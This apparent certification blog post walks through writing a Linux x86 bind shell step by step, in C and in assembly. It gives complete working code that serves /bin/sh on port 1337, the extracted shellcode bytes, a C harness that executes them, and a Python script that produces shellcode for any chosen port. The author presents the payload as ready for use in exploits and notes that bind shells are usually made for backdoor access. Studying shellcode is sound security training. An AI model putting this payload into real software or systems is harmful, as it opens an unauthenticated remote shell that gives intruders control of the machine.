SLAE 1: Creating a bind shell in x86 Assembly

Programming / January 20, 2020 • 18 min read
Tags: slae shellcoding

What is a bind shell?

A Bind shell is simply a program that listens for incoming connections. When a connection is made, a local shell is redirected to the newly created connection, thereby giving access to the local machine. Bind shells are usually created for backdoor access, although they could also be used for legitimate purposes, e.g. system administration.

ok, nuff said, let’s boogie

Our program will follow these steps:

  1. Create a socket
  2. Bind the socket
  3. Listen for connections
  4. Accept new connections
  5. Execute shell

Before I solved this assignment, I wrote a version in C (with the help of my old university books), see below:

 1#include <stdio.h>
 2#include <sys/types.h>
 3#include <sys/socket.h>
 4#include <netinet/in.h>
 5
 6int main(int argc, char **argv) {
 7
 8    int listenfd, connfd;
 9    socklen_t len;
10    struct sockaddr_in serveraddr, cliaddr;
11
12    // Create a listen file descriptor
13    listenfd = socket(AF_INET, SOCK_STREAM, 0);
14
15    // Configure our server
16    serveraddr.sin_family = AF_INET;
17    serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);
18    serveraddr.sin_port = htons(1337);
19
20    // Bind the configured socket to our listendfd file descriptor
21    bind(listenfd, (struct sockaddr*) &serveraddr, sizeof(serveraddr));
22
23    // Listen on port 1337 on any address, allow a backlog of 2 connections
24    listen(listenfd, 2);
25
26    // Block until connection is made
27    connfd = accept(listenfd, NULL, NULL);
28
29    // Point the file descriptors STDIN,STDOUT,STDERR
30    // to the new file descriptor created for the new connection
31    dup2(connfd, 0);
32    dup2(connfd, 1);
33    dup2(connfd, 2);
34
35    // Execute local program /bin/sh
36    execv("/bin/sh", NULL, NULL);
37
38    // Close file descriptors
39    close(connfd);
40    close(listenfd);
41
42    return 0;
43}

My idea was to disassemble the C version in order to better understand the underlying syscalls being made. However, I did not learn anything special from it. Instead, I used it as a reference point when writing in assembly.

Having programmed networked applications in C before, I know the syscalls that I am interested in are:

  • socket
  • bind
  • listen
  • accept

However these syscalls were not all present in /usr/include/i386-linux-gnu/asm/unistd_32.h which confused me a bit. My research told me it was because I was using a very old Ubuntu version:

Linux slae 3.5.0-51-generic #76-Ubuntu SMP Thu May 15 21:19:44 UTC 2014 i686 i686 i686 GNU/Linux

Distributor ID: Ubuntu
Description:    Ubuntu 12.10
Release:        12.10
Codename:       quantal

Instead I should use a wrapper syscall called socketcall in order to access the socket calls I am interested in.

Running man 2 socketcall revealed:

SOCKETCALL(2)                                                   Linux Programmer's Manual                                                  SOCKETCALL(2)

NAME
       socketcall - socket system calls

SYNOPSIS
       int socketcall(int call, unsigned long *args);

DESCRIPTION
       socketcall()  is  a  common  kernel  entry point for the socket system calls.  call determines which socket function to invoke.  args points to a
       block containing the actual arguments, which are passed through to the appropriate call.

       User programs should call the appropriate functions by their usual names.  Only standard library implementors and kernel  hackers  need  to  know
       about socketcall().

The first parameter is the syscall we want, the second parameter is the arguments for that syscall. We can find the correct syscall numbers here /usr/include/linux/net.h:

#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */
#define SYS_GETSOCKNAME 6               /* sys_getsockname(2)           */
#define SYS_GETPEERNAME 7               /* sys_getpeername(2)           */
#define SYS_SOCKETPAIR  8               /* sys_socketpair(2)            */
#define SYS_SEND        9               /* sys_send(2)                  */
#define SYS_RECV        10              /* sys_recv(2)                  */
#define SYS_SENDTO      11              /* sys_sendto(2)                */
#define SYS_RECVFROM    12              /* sys_recvfrom(2)              */
#define SYS_SHUTDOWN    13              /* sys_shutdown(2)              */
#define SYS_SETSOCKOPT  14              /* sys_setsockopt(2)            */
#define SYS_GETSOCKOPT  15              /* sys_getsockopt(2)            */
#define SYS_SENDMSG     16              /* sys_sendmsg(2)               */
#define SYS_RECVMSG     17              /* sys_recvmsg(2)               */
#define SYS_ACCEPT4     18              /* sys_accept4(2)               */
#define SYS_RECVMMSG    19              /* sys_recvmmsg(2)              */
#define SYS_SENDMMSG    20              /* sys_sendmmsg(2)              */

So if we wanted to use bind() we would do socketcall(2, *args). Before we do that though, we need the correct syscall for socketcall, we can find that in the same file:

[...]
#define __NR_fstatfs 100
#define __NR_ioperm 101
#define __NR_socketcall 102
#define __NR_syslog 103
#define __NR_setitimer 104
#define __NR_getitimer 105
[...]

Great, now we know how to use the wrapper in order perform our system calls.

Creating a socket

Our code begins by creating a socket as I did in the C version:

 1global _start
 2
 3section .text
 4_start:
 5
 6    ; zero out registers
 7    xor eax, eax
 8    xor ebx, ebx
 9    xor edx, edx
10
11    ; -------------------------------------
12    ; # Setup socket
13    
14    ; socketcall()
15    mov al, 0x66     ; __NR_socketcall 102
16    mov bl, 0x1      ; SYS_SOCKET

The code begins by XOR:ing eax, ebx and edx by itself, this is to avoid any garbage data. Then we setup the socketcall by placing 102 in $eax (0x66 in hex) which indicates the system call we want to perform, then we place 1 (SYS_SOCKET) in ebx which is the first parameter for socketcall. When performing system calls, eax is usually the register that stores the syscall to perform while ebx, ecx, edx is the first, second and third parameter for that syscall.

Next step is to setup the arguments for running SYS_SOCKET. Running man 2 socket tells us what the function expects:

SOCKET(2)                                     Linux Programmer's Manual                                     SOCKET(2)

NAME
       socket - create an endpoint for communication

SYNOPSIS
       #include <sys/types.h>          /* See NOTES */
       #include <sys/socket.h>

       int socket(int domain, int type, int protocol);

DESCRIPTION
       socket() creates an endpoint for communication and returns a descriptor.

       The  domain argument specifies a communication domain; this selects the protocol family which will be used for
       communication.  These families are defined in <sys/socket.h>.  The currently understood formats include:

       Name                Purpose                          Man page
       AF_UNIX, AF_LOCAL   Local communication              unix(7)
       AF_INET             IPv4 Internet protocols          ip(7)
       AF_INET6            IPv6 Internet protocols          ipv6(7)
       AF_IPX              IPX - Novell protocols
       AF_NETLINK          Kernel user interface device     netlink(7)
       AF_X25              ITU-T X.25 / ISO-8208 protocol   x25(7)
       AF_AX25             Amateur radio AX.25 protocol
       AF_ATMPVC           Access to raw ATM PVCs
       AF_APPLETALK        Appletalk                        ddp(7)
       AF_PACKET           Low level packet interface       packet(7)

       The socket has the indicated type, which specifies the communication semantics.  Currently defined types are:

       SOCK_STREAM     Provides sequenced, reliable, two-way, connection-based byte  streams.   An  out-of-band  data
                       transmission mechanism may be supported
       [...]

       The  protocol  specifies  a  particular  protocol to be used with the socket.  Normally only a single protocol
       exists to support a particular socket type within a given protocol family, in which case protocol can be spec
       ified  as  0.  However, it is possible that many protocols may exist, in which case a particular protocol must
       be specified in this manner.  The protocol number to use is specific to the communication  domain  in  which
       communication  is  to take place; see protocols(5).  See getprotoent(3) on how to map protocol name strings to
       protocol numbers.

       [...]

The first parameter expects an int that indicates which family to use, this can be found in: /usr/include/i386-linux-gnu/bits/socket.h:

[...]
#define PF_INET         2       /* IP protocol family.  */
[...]
#define AF_INET         PF_INET
[...]

AF_INET = 2, great! The type parameter can be found in the same file:

/* Types of sockets.  */
enum __socket_type
{
  SOCK_STREAM = 1,              /* Sequenced, reliable, connection-based
                                   byte streams.  */
#define SOCK_STREAM SOCK_STREAM
  SOCK_DGRAM = 2,               /* Connectionless, unreliable datagrams
                                   of fixed maximum length.  */
[...]

Because we want to use TCP, we should use SOCK_STREAM. The end result looks like this:

1; # Setup socket
2; Resulting file descriptor is saved to eax
3push edx
4push 0x1
5push 0x2
6mov ecx, esp  ; Arguments are located top of the stack
7int 0x80      ; Tell the kernel it's time to boogie
8mov edi, eax  ; $eax contains the file descriptor created by socket(), store it in $edi for now

The arguments for socket() are pushed to the stack, $esp which points to the top of the stack is then copied to $ecx which will be the second parameter for socketcall().

Cool tip

In order to find information about syscalls and their parameters, running grep -ir "SOCK_STREAM" . in /usr/include/ can give you a lot of information.

Binding our socket

We have created the socket, now it’s time to bind it. This means bind() will assign the address and port to the socket referred to by the file descriptor created by socket() in the previous section.

As always, we run man 2 bind, which gives us:

BIND(2)                                                            Linux Programmer's Manual                                                            BIND(2)

NAME
       bind - bind a name to a socket

SYNOPSIS
       #include <sys/types.h>          /* See NOTES */
       #include <sys/socket.h>

       int bind(int sockfd, const struct sockaddr *addr,
                socklen_t addrlen);

DESCRIPTION
       When a socket is created with socket(2), it exists in a name space (address family) but has no address assigned to it.  bind() assigns the address spec
       ified by addr to the socket referred to by the file descriptor sockfd.  addrlen specifies the size, in bytes, of the address  structure  pointed  to  by
       addr.  Traditionally, this operation is called assigning a name to a socket.

       It is normally necessary to assign a local address using bind() before a SOCK_STREAM socket may receive connections (see accept(2)).

       The rules used in name binding vary between address families.  Consult the manual entries in Section 7 for detailed information.  For AF_INET see ip(7),
       for AF_INET6 see ipv6(7), for AF_UNIX see unix(7), for AF_APPLETALK see ddp(7), for AF_PACKET see packet(7), for AF_X25 see x25(7)  and  for  AF_NETLINK
       see netlink(7).

       The actual structure passed for the addr argument will depend on the address family.  The sockaddr structure is defined as something like:

           struct sockaddr {
               sa_family_t sa_family;
               char        sa_data[14];
           }

       The only purpose of this structure is to cast the structure pointer passed in addr in order to avoid compiler warnings.  See EXAMPLE below.

The interesting part here is the second parameter which expects const struct sockaddr *addr, in order to satisfy this requirement, we need to look at the struct definitions. However, according to the man pages, we should cast the struct sockaddr_in to sockaddr, so we should look for the struct definition of sockaddr_in. This can be found in: /usr/include/linux/in.h, this gives us:

 1/* Structure describing an Internet (IP) socket address. */
 2#define __SOCK_SIZE__   16              /* sizeof(struct sockaddr)      */
 3struct sockaddr_in {
 4  __kernel_sa_family_t  sin_family;     /* Address family               */
 5  __be16                sin_port;       /* Port number                  */
 6  struct in_addr        sin_addr;       /* Internet address             */
 7
 8  /* Pad to size of `struct sockaddr'. */
 9  unsigned char         __pad[__SOCK_SIZE__ - sizeof(short int) -
10                        sizeof(unsigned short int) - sizeof(struct in_addr)];
11};
12#define sin_zero        __pad           /* for BSD UNIX comp. -FvK      */
13
14struct in_addr {
15        __be32  s_addr;
16};

__kernel_sa_family_t is defined as typedef unsigned short __kernel_sa_family_t; in /usr/include/linux/socket.h. From these definitions, we can write the following instructions:

1    ; setup sockaddr struct
2    push edx         ; 0x0
3    push word 0x3905 ; htons(1337)
4    push word 0x2    ; AF_INET

The first push simply pushes 0x00000000 to the stack, this indicates we want to listen on 0.0.0.0. The second push is our port number. We need to specify the port in network byte order (reverse) in order to listen on 1337. __be16 informs us that it expects 16 bits, therefore we push it as a word. Next push is the network family which we learned from the previous section that it is 0x2 for AF_INET (IPv4). The length of an unsigned short is 16 bits, therefore we push it as a word.

The complete instructions for binding our socket looks like this:

 1    ; ---------------------------------
 2    ; # Setup bind
 3    ; socketcall
 4    mov al, 0x66     ; socketcall()
 5    mov bl, 0x2      ; SYS_BIND 
 6
 7    ; setup sockaddr struct
 8    push edx         ; Listen on 0.0.0.0
 9    push word 0x3905 ; htons(1337)
10    push word 0x2    ; AF_INET
11
12    mov ecx, esp     ; Store the address that points to our struct
13    
14    ; Push the arguments for bind()
15    push 0x10        ; Length of __SOCK_SIZE__ which is 16 (0x10 in hex)
16    push ecx         ; Points to our sockaddr_in struct
17    push edi         ; Contains our file descriptor
18
19    mov ecx, esp     ; Second parameter for socketcall, points to arguments required by bind()
20    int 0x80         ; Tell the kernel let's go!

Listen for incoming connections

Time to start listening for connections, let’s see what the man page can tell us by running man 2 listen:

LISTEN(2)                                                          Linux Programmer's Manual                                                          LISTEN(2)

NAME
       listen - listen for connections on a socket

SYNOPSIS
       #include <sys/types.h>          /* See NOTES */
       #include <sys/socket.h>

       int listen(int sockfd, int backlog);

DESCRIPTION
       listen() marks the socket referred to by sockfd as a passive socket, that is, as a socket that will be used to accept incoming connection requests using
       accept(2).

       The sockfd argument is a file descriptor that refers to a socket of type SOCK_STREAM or SOCK_SEQPACKET.

       The backlog argument defines the maximum length to which the queue of pending connections for sockfd may grow.  If a connection request arrives when the
       queue  is  full,  the client may receive an error with an indication of ECONNREFUSED or, if the underlying protocol supports retransmission, the request
       may be ignored so that a later reattempt at connection succeeds.

This instruction set is easy, as can be seen below:

 1    ; --------------------
 2    ; # Setup listen
 3    ; socketcall
 4    mov al, 0x66     ; socketcall()
 5    mov bl, 0x4      ; SYS_LISTEN
 6
 7    push 0x2         ; backlog, hold 2 connections in queue
 8    push edi         ; Our file descriptor
 9    mov ecx, esp     ; Second argument to socketcall() which points to the arguments for SYS_LISTEN
10    int 0x80         ; Instruct the kernel to run our syscall

listen() requires just two arguments according to the man page.

Accept new connections

We now need to accept connections that are trying to connect, what does man 2 accept say?

ACCEPT(2)                                                          Linux Programmer's Manual                                                          ACCEPT(2)

NAME
       accept - accept a connection on a socket

SYNOPSIS
       #include <sys/types.h>          /* See NOTES */
       #include <sys/socket.h>

       int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

       #define _GNU_SOURCE             /* See feature_test_macros(7) */
       #include <sys/socket.h>

       int accept4(int sockfd, struct sockaddr *addr,
                   socklen_t *addrlen, int flags);

[ for the sake of brevity, full output is not shown]

We don’t actually care about the second and third parameter for accept(), those are only needed if you want information about the connecting peer, e.g. its address. Therefore the instructions are quite easy:

 1    ; --------------------
 2    ; # Setup accept
 3    ; socketcall
 4    mov al, 0x66     ; socketcall()
 5    mov bl, 0x5      ; SYS_ACCEPT
 6
 7    ; Setup accept
 8    push edx         ; 0x0
 9    push edx         ; 0x0
10    push edi         ; Our file descriptor
11
12    mov ecx, esp     ; Second argument to socketcall() which points to the arguments for SYS_ACCEPT
13
14    int 0x80         ; Execute
15    mov edi, eax     ; $eax stores the peer's file descriptor, save it to edi

Redirection and shell access

We have accepted a connection, time to give it shell access. We use dup2 to redirect STDIN, STDOUT and STDERR to the peer’s file descriptor. man 2 dup2:

DUP(2)                                                             Linux Programmer's Manual                                                             DUP(2)

NAME
       dup, dup2, dup3 - duplicate a file descriptor

SYNOPSIS
       #include <unistd.h>

       int dup(int oldfd);
       int dup2(int oldfd, int newfd);

       #define _GNU_SOURCE             /* See feature_test_macros(7) */
       #include <fcntl.h>              /* Obtain O_* constant definitions */
       #include <unistd.h>

       int dup3(int oldfd, int newfd, int flags);

DESCRIPTION
       These system calls create a copy of the file descriptor oldfd.

       dup() uses the lowest-numbered unused descriptor for the new descriptor.

       dup2() makes newfd be the copy of oldfd, closing newfd first if necessary, but note the following:

       *  If oldfd is not a valid file descriptor, then the call fails, and newfd is not closed.

       *  If oldfd is a valid file descriptor, and newfd has the same value as oldfd, then dup2() does nothing, and returns newfd.

[ for the sake of brevity, full output is not shown]

By looking at the C version in the beginning of the article, we simply duplicate process by running dup2 for STDIN, STDOUT and STDERR:

 1; --------------------
 2; # Setup dup2
 3; redirect to stdin
 4mov al, 0x3f     ; syscall number dup2 63 --> 0x3f
 5mov ebx, edi     ; peer's file descriptor
 6mov ecx, edx     ; STDIN
 7int 0x80
 8
 9; redirect to stdout
10mov al, 0x3f
11mov cl, 0x1      ; STDOUT
12int 0x80
13
14; redirect to stderr
15mov al, 0x3f
16mov cl, 0x2      ; STDERR
17int 0x80

Now it’s time to execute /bin/sh. This is done by calling the execv system call, man 3 execv:

EXEC(3)                                                            Linux Programmer's Manual                                                            EXEC(3)

NAME
       execl, execlp, execle, execv, execvp, execvpe - execute a file

SYNOPSIS
       #include <unistd.h>

       extern char **environ;

       int execl(const char *path, const char *arg, ...);
       int execlp(const char *file, const char *arg, ...);
       int execle(const char *path, const char *arg,
                  ..., char * const envp[]);
       int execv(const char *path, char *const argv[]);
       int execvp(const char *file, char *const argv[]);
       int execvpe(const char *file, char *const argv[],
                  char *const envp[]);

   Feature Test Macro Requirements for glibc (see feature_test_macros(7)):

       execvpe(): _GNU_SOURCE

DESCRIPTION
       The  exec() family of functions replaces the current process image with a new process image.  The functions described in this manual page are front-ends
       for execve(2).  (See the manual page for execve(2) for further details about the replacement of the current process image.)

       The initial argument for these functions is the name of a file that is to be executed.

[ for the sake of brevity, full output is not shown]

We will use execv which requires two arguments, the file to be executed and additional arguments for the file being executed. We don’t need any additional arguments, therefore we only pass /bin/sh, as can be seen below:

 1; --------------------
 2; # Setup execv
 3xor edx, edx
 4push edx
 5
 6; push //bin/sh onto the stack
 7push 0x68732f6e
 8push 0x69622f2f  
 9
10; Set address of esp to ebx, which points
11; to //bin/sh
12mov ebx, esp
13
14xor ecx, ecx
15xor eax, eax
16mov al, 0xb      ; execv syscall
17int 0x80

Final code

Now we should have something that looks like this:

  1;---------------------------------
  2;
  3; Author: @dubs3c
  4; 
  5; Purpose:
  6; Start a bind shell on port 1337
  7; On connection, execute /bin/sh
  8;
  9;----------------------------------
 10
 11global _start
 12
 13section .text
 14_start:
 15
 16    ; zero out registers
 17    xor eax, eax
 18    xor ebx, ebx
 19    xor edx, edx
 20
 21    ; -------------------------------------
 22    ; # Setup socket
 23    
 24    ; socketcall()
 25    mov al, 0x66     ; __NR_socketcall 102
 26    mov bl, 0x1      ; SYS_SOCKET
 27
 28    ; # Setup socket
 29    ; Resulting file descriptor is saved to eax
 30    push edx
 31    push 0x1
 32    push 0x2
 33    mov ecx, esp     ; Arguments are located top of the stack
 34    int 0x80         ; Tell the kernel it's time to boogie
 35    mov edi, eax     ; $eax contains the file descriptor created by socket(), store it in $edi for now
 36
 37    ; ---------------------------------
 38    ; # Setup bind
 39    ; socketcall
 40    mov al, 0x66     ; socketcall()
 41    mov bl, 0x2      ; SYS_BIND 
 42
 43    ; setup sockaddr struct
 44    push edx         ; Listen on 0.0.0.0
 45    push word 0x3905 ; htons(1337)
 46    push word 0x2    ; AF_INET
 47
 48    mov ecx, esp     ; Store the address that points to our struct
 49    
 50    ; Push the arguments for bind()
 51    push 0x10        ; Length of __SOCK_SIZE__ which is 16 (0x10 in hex)
 52    push ecx         ; Points to our sockaddr_in struct
 53    push edi         ; Contains our file descriptor
 54
 55    mov ecx, esp     ; Second parameter for socketcall, points to arguments required by bind()
 56    int 0x80         ; Tell the kernel let's go!
 57    
 58    ; --------------------
 59    ; # Setup listen
 60    ; socketcall
 61    mov al, 0x66     ; socketcall()
 62    mov bl, 0x4      ; SYS_LISTEN
 63
 64    push 0x2         ; backlog, hold 2 connections in queue
 65    push edi         ; Our file descriptor
 66    mov ecx, esp     ; Second argument to socketcall() which points to the arguments for SYS_LISTEN
 67    int 0x80         ; Instruct the kernel to run our syscall
 68
 69    ; --------------------
 70    ; # Setup accept
 71    ; socketcall
 72    mov al, 0x66     ; socketcall()
 73    mov bl, 0x5      ; SYS_ACCEPT
 74
 75    ; Setup accept
 76    push edx         ; 0x0
 77    push edx         ; 0x0
 78    push edi         ; Our file descriptor
 79
 80    mov ecx, esp     ; Second argument to socketcall() which points to the arguments for SYS_ACCEPT
 81
 82    int 0x80         ; Execute
 83    mov edi, eax     ; $eax stores the peer's file descriptor, save it to edi
 84
 85    ; --------------------
 86    ; # Setup dup2
 87    ; redirect to stdin
 88    mov al, 0x3f     ; syscall number dup2 63 --> 0x3f
 89    mov ebx, edi     ; peer's file descriptor
 90    mov ecx, edx     ; STDIN
 91    int 0x80
 92
 93    ; redirect to stdout
 94    mov al, 0x3f
 95    mov cl, 0x1      ; STDOUT
 96    int 0x80
 97
 98    ; redirect to stderr
 99    mov al, 0x3f
100    mov cl, 0x2      ; STDERR
101    int 0x80
102
103    ; --------------------
104    ; # Setup execv
105    xor edx, edx
106    push edx
107    
108    ; push //bin/sh onto the stack
109    push 0x68732f6e
110    push 0x69622f2f  
111
112    ; Set address of esp to ebx, which points
113    ; to //bin/sh
114    mov ebx, esp
115    
116    xor ecx, ecx
117    xor eax, eax
118    mov al, 0xb      ; execv syscall
119    int 0x80
120
121    ; -----------------------------
122    ; THE END - HAVE A NICE SHELL |
123    ; -----------------------------

A screenshot of running the bind shell program can be seen below:

image

The program is runnong port 1337 as seen in the top-right pane, and can be connected to by running nc localhost 1337. Once connected, normal linux commands can be used.

Extracting shellcode

If we need a bind shell in our exploit, we can easily extract the assembly instructions as “shellcode”, like so:

dubs3c@slae:~/SLAE/EXAM/assignment_1$ objdump -d ./assignment_1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed
's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\xb3\x02\x52\x66\x68\x05\x39\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe
1\xcd\x80\xb0\x66\xb3\x04\x6a\x02\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x57\x89\xe1\xcd\x80\x89\xc7\xb0\x3f\x89\xfb\x89\xd1\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb
0\x3f\xb1\x02\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xc0\xb0\x0b\xcd\x80"

To demonstrate, this C program will execute our shellcode and creating our bind shell:

 1#include<stdio.h>
 2#include<string.h>
 3
 4unsigned char code[] = \
 5"\x31\xc0\x31\xdb\x31\xd2\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89"
 6"\xe1\xcd\x80\x89\xc7\xb0\x66\xb3\x02\x52\x66\x68\x05\x39\x66\x6a"
 7"\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a"
 8"\x02\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x57\x89\xe1\xcd"
 9"\x80\x89\xc7\xb0\x3f\x89\xfb\x89\xd1\xcd\x80\xb0\x3f\xb1\x01\xcd"
10"\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68"
11"\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xc0\xb0\x0b\xcd\x80";
12
13main()
14{
15       printf("Shellcode Length:  %d\n", strlen(code));
16       int (*ret)() = (int(*)())code;
17       ret();
18}

Compile with gcc -fno-stack-protector -z execstack shellcode.c -o shellcode. Shellcode length is 110.

Making the listening port configurable

Right now the port 1337 is hardcoded, let’s make a wrapper script in python which allows for setting a custom port.

 1#!/usr/bin/env python3
 2
 3import sys
 4
 5def main(port):
 6
 7    str_port = hex(port).replace('0x','').zfill(4)
 8
 9    shellcode = r"\x31\xc0\x31\xdb\x31\xd2\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\xb3\x02\x52\x66\x68{port}\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x02\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x57\x89\xe1\xcd\x80\x89\xc7\xb0\x3f\x89\xfb\x89\xd1\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xc0\xb0\x0b\xcd\x80"
10
11    hex_port = "\\x{}\\x{}".format(str_port[:2], str_port[2:])
12
13    if "\\x00" in hex_port:
14        print("[-] Sorry, null byte found in that port, chose another port.")
15        print("[-] Ports between 1-256 will always contain a null byte.")
16        print("[-] Port: {}".format(hex_port))
17        sys.exit(1)
18
19    shellcode = shellcode.replace("{port}", hex_port)
20    print("[+] Bind shell running on port {}".format(port))
21    print("[+] Your Shellcode:")
22    print(shellcode)
23
24
25if __name__ == "__main__":
26    if len(sys.argv) == 1:
27        print("Usage: python3 wrapper.py <port>")
28        sys.exit(0)
29
30    if int(sys.argv[1]) < 1024:
31        print("[!] Warning: Ports < 1024 must be run as a root")
32
33    if len(sys.argv) == 2:
34        if (int(sys.argv[1]) > 65535):
35            print("Port too large")
36            sys.exit(1)
37        main(int(sys.argv[1]))
38    else:
39        main(1337)

Running the script with a custom port returns the new shellcode:

dubs3c@slae:~/SLAE/EXAM/assignment_1$ python wrapper.py 600
[!] Warning: Ports < 1024 must be run as a root
[+] Bind shell running on port 600
[+] Your Shellcode:
\x31\xc0\x31\xdb\x31\xd2\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\xb3\x02\x52\x66\x68\x02\x58\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x02\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x57\x89\xe1\xcd\x80\x89\xc7\xb0\x3f\x89\xfb\x89\xd1\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xc0\xb0\x0b\xcd\x80

There you go, hack the planet!


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-1490